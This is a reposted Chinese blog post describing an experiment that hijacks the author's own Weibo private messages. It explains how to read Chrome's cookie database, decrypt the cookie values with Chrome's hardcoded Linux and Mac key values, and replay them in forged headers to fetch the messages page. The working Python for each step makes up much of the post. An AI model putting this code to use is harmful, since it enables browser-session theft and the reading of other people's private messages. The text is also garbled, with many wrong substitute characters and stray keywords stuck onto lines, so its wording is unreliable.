利用cookie劫持微博私信

記得仍是在學Qt編程的時候,作過一個練手項目,產品是一個搜索Chrome的cookie內容的小軟件。Chrome的cookie保存在用戶目錄的一個sqlite文件中,具體路徑上網搜一下就知道了。當時比較天真,想看看cookie裏面有沒有明文保存的密碼,結果固然是獲得一堆亂碼,最後就不了了之了。

直到前幾天,我正在網上看一篇關於cookie的文章,突然想起一件事情,我須要密碼的緣由無非是用來登陸,我既然有了cookie直接發給服務器就能夠了,又有什麼必要了解cookie的內容?我順手用chrome打開了微博私信查看下它的請求流程:
cookie-request-flowhtml

貌似理論上沒有什麼問題,不過仍是要作個試驗驗證一下,我準備嘗試用python寫個小程序模擬瀏覽器向微博服務器發起私信消息的頁面請求。python

固然首先仍是讓個人小夥伴給我發條私信:
cookie-messagelinux

具體實現

整個實驗我簡單的做了個概念圖:
cookie-flowweb

實驗主要分爲如下幾個步驟:
* 從chrome的sqlite文件中提取cookie
* 模擬瀏覽器組裝header
* 向服務器發起目標頁面的請求sql

提取chrome的cookie信息

chrome的cookie保存路徑在三大操做系統Windows、Linux和OSX上都不盡相同,以linux爲例,它的保存路徑就是~/.config/chromium/Default/Cookies,咱們先用sqlite3程序把這個文件載入進來看看:
cookie-tableschrome

cookie信息都保存在表cookies中,可是纔剛開始就出現了意想不到的問題:數據庫

cookie-values-problem

表裏面的值和記憶中的大部分都是同樣的,惟獨最重要的value一項,竟然是空的,而在末尾卻是多了個encrypted_value項。谷歌了一下,瞭解到在chrome版本33以前,cookie都是直接存儲的,在33+以後,谷歌開始對cookie的信息進行了加密。順便感慨下時光飛逝,不知不覺又老了幾個版本。chrome在windows上加密採用的是CryptUnprotectData函數,解密方法你們能夠看這裏。Linux和OSX上的加密方法類似,都採用的是AES(CBC)加密方法,瞭解密碼學的都知道對這個數據進行解密至少須要好幾個值,salt,key length,iv,password,iterations等等。不過不幸的是一位國外的網友n8henrie在瀏覽了chromium源碼以後把這些值通通找到了,如下是他原話:編程

  • salt is b'saltysalt'
  • key length is 16
  • iv is 16 bytes of space b' ' * 16
  • on Mac OSX:
    password is in keychain under Chrome Safe Storage
    I use the excellent keyring package to get the password
    You could also use bash: security find-generic-password -w -s "Chrome Safe Storage"
    number of iterations is 1003
  • on Linux:
    password is peanuts
    number of iterations is 1

順便貼出他給出的源代碼(多是原做者的失誤,在clean函數中忘記調用了ord函數,特此補上):小程序

#! /usr/bin/env python3

from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2

# Function to get rid of padding
def clean(x): 
    return x[:-ord(x[-1])].decode('utf8')

# replace with your encrypted_value from sqlite3
encrypted_value = ENCRYPTED_VALUE 

# Trim off the 'v10' that Chrome/ium prepends
encrypted_value = encrypted_value[3:]

# Default values used by both Chrome and Chromium in OSX and Linux
salt = b'saltysalt'
iv = b' ' * 16
length = 16

# On Mac, replace MY_PASS with your password from Keychain
# On Linux, replace MY_PASS with 'peanuts'
my_pass = MY_PASS
my_pass = my_pass.encode('utf8')

# 1003 on Mac, 1 on Linux
iterations = 1003

key = PBKDF2(my_pass, salt, length, iterations)
cipher = AES.new(key, AES.MODE_CBC, IV=iv)

decrypted = cipher.decrypt(encrypted_value)
print(clean(decrypted))

我稍微改了下源代碼,對上圖header裏的cookie的第一項嘗試進行解密:windows

from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2

def clean(x): 
    return x[:-ord(x[-1])].decode('utf8')

def decrypt(encrypted_value):
    encrypted_value = encrypted_value[3:]

    salt = b'saltysalt'
    iv = b' ' * 16
    length = 16

    my_pass = 'peanuts'
    my_pass = my_pass.encode('utf8')

    iterations = 1

    key = PBKDF2(my_pass, salt, length, iterations)
    cipher = AES.new(key, AES.MODE_CBC, IV=iv)
    decrypted = cipher.decrypt(encrypted_value)

    return clean(decrypted)

cx = sqlite3.connect(os.path.expandvars('$HOME') + '/.config/chromium/Default/Cookies')
cu = cx.cursor()

cu.execute("select * from cookies where host_key = '.weibo.com' and name = 'SINAGLOBAL'")

res = cu.fetchone()

print decrypt(res[len(res)-1])

結果顯示n8henrie給出的值確實是正確的,解密成功。

cookie-value-chrome

cookie-chomre

這個值咱們不知道有什麼意義,由於原本就不須要,直接把它發給服務器就好,服務器本身知道怎麼解密的。

cookie值解密出來以後,感受就像是忽然變成了宿管阿姨,手裏握着整棟宿舍的鑰匙。

組裝header

組裝header這裏比較容易了,基本上照着上面截下來的Chrome的header照抄就行了,不過要注意的是記得把Accept-Encoding:gzip,deflate,sdch這一項去掉,否則返回的數據是通過壓縮的,最後再加上解密出來的cookie,一個完整的header就出來了。

import sqlite3
import urllib2
import os

cx = sqlite3.connect(os.path.expandvars('$HOME') + '/.config/chromium/Default/Cookies')
cu = cx.cursor()
cu.execute("select * from cookies where host_key = '.weibo.com'")

cookies = ''

for res in cu.fetchall(): 
    cookies += res[2] + '=' + decrypt(res[len(res)-1]) + '; '

url = 'http://weibo.com/messages'

header = {
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        #'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'zh-CN,zh;q=0.8,en;q=0.6,ja;q=0.4,zh-TW;q=0.2',
        'Cache-Control': 'max-age=0',
        'Connection': 'keep-alive',
        'Host': 'weibo.com',
        'Cookie': cookies,
        'User-Agent': 'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/40.0.2214.111 Chrome/40.0.2214.111 Safari/537.36'
}
request = urllib2.Request(url, headers=header)

發送請求

最後一步發送請求,把返回的數據打開看一下,私信消息已經在裏面了。
cookie-msg-decode

結語

沒想到整個過程還算是比較順利的,並且仍是在linux平臺。隨後我又在windows和OSX上進行了試驗,windows的解密要更簡單一點,而在OSX上獲取Chrome Safe Storagepassword的時候系統提醒須要獲取受權,也就是說從目前來看只有蘋果系擋住了此次攻擊。不得不說cookie確實給咱們帶來了太多的便利,可是與此同時也犧牲了太多的安全性,網絡發展到今天不少事情已經超出可控的範圍,尤爲是在中國這種軟件氛圍,誰知道各大軟件產商有什麼作不出來的,想要保護好本身,只能靠本身平時多長點心眼了。

Q&A

  • Q:爲何我直接用你的代碼返回404?
  • A:你要先用chrome至少瀏覽一次私信,否則哪來的cookie。

  • Q:爲何選擇微博私信作實驗?
  • A:由於我知道大家用的是微信而不是私信。

  • Q:你是在本機運行的,劫持本身的信息能夠,怎麼劫持別人的信息?
  • A:通常人不行,可是軟件產商能夠。

  • Q:爲何每一個用戶只有一條私信?不能夠看到全部的對話嘛?
  • A:能夠,但這裏只是作爲實驗,不可有小人之心,但不能不防小人

  • Q:有了cookie除了看私信還能幹什麼?
  • A:不知道。

最後感謝下caixpp童鞋發了封私信,還有,用完數據庫記得close。

References

轉載請註明

原文地址: http://mafagan.sinaapp.com/2015/02/27/cookie-hack/

相關文章
相關標籤/搜索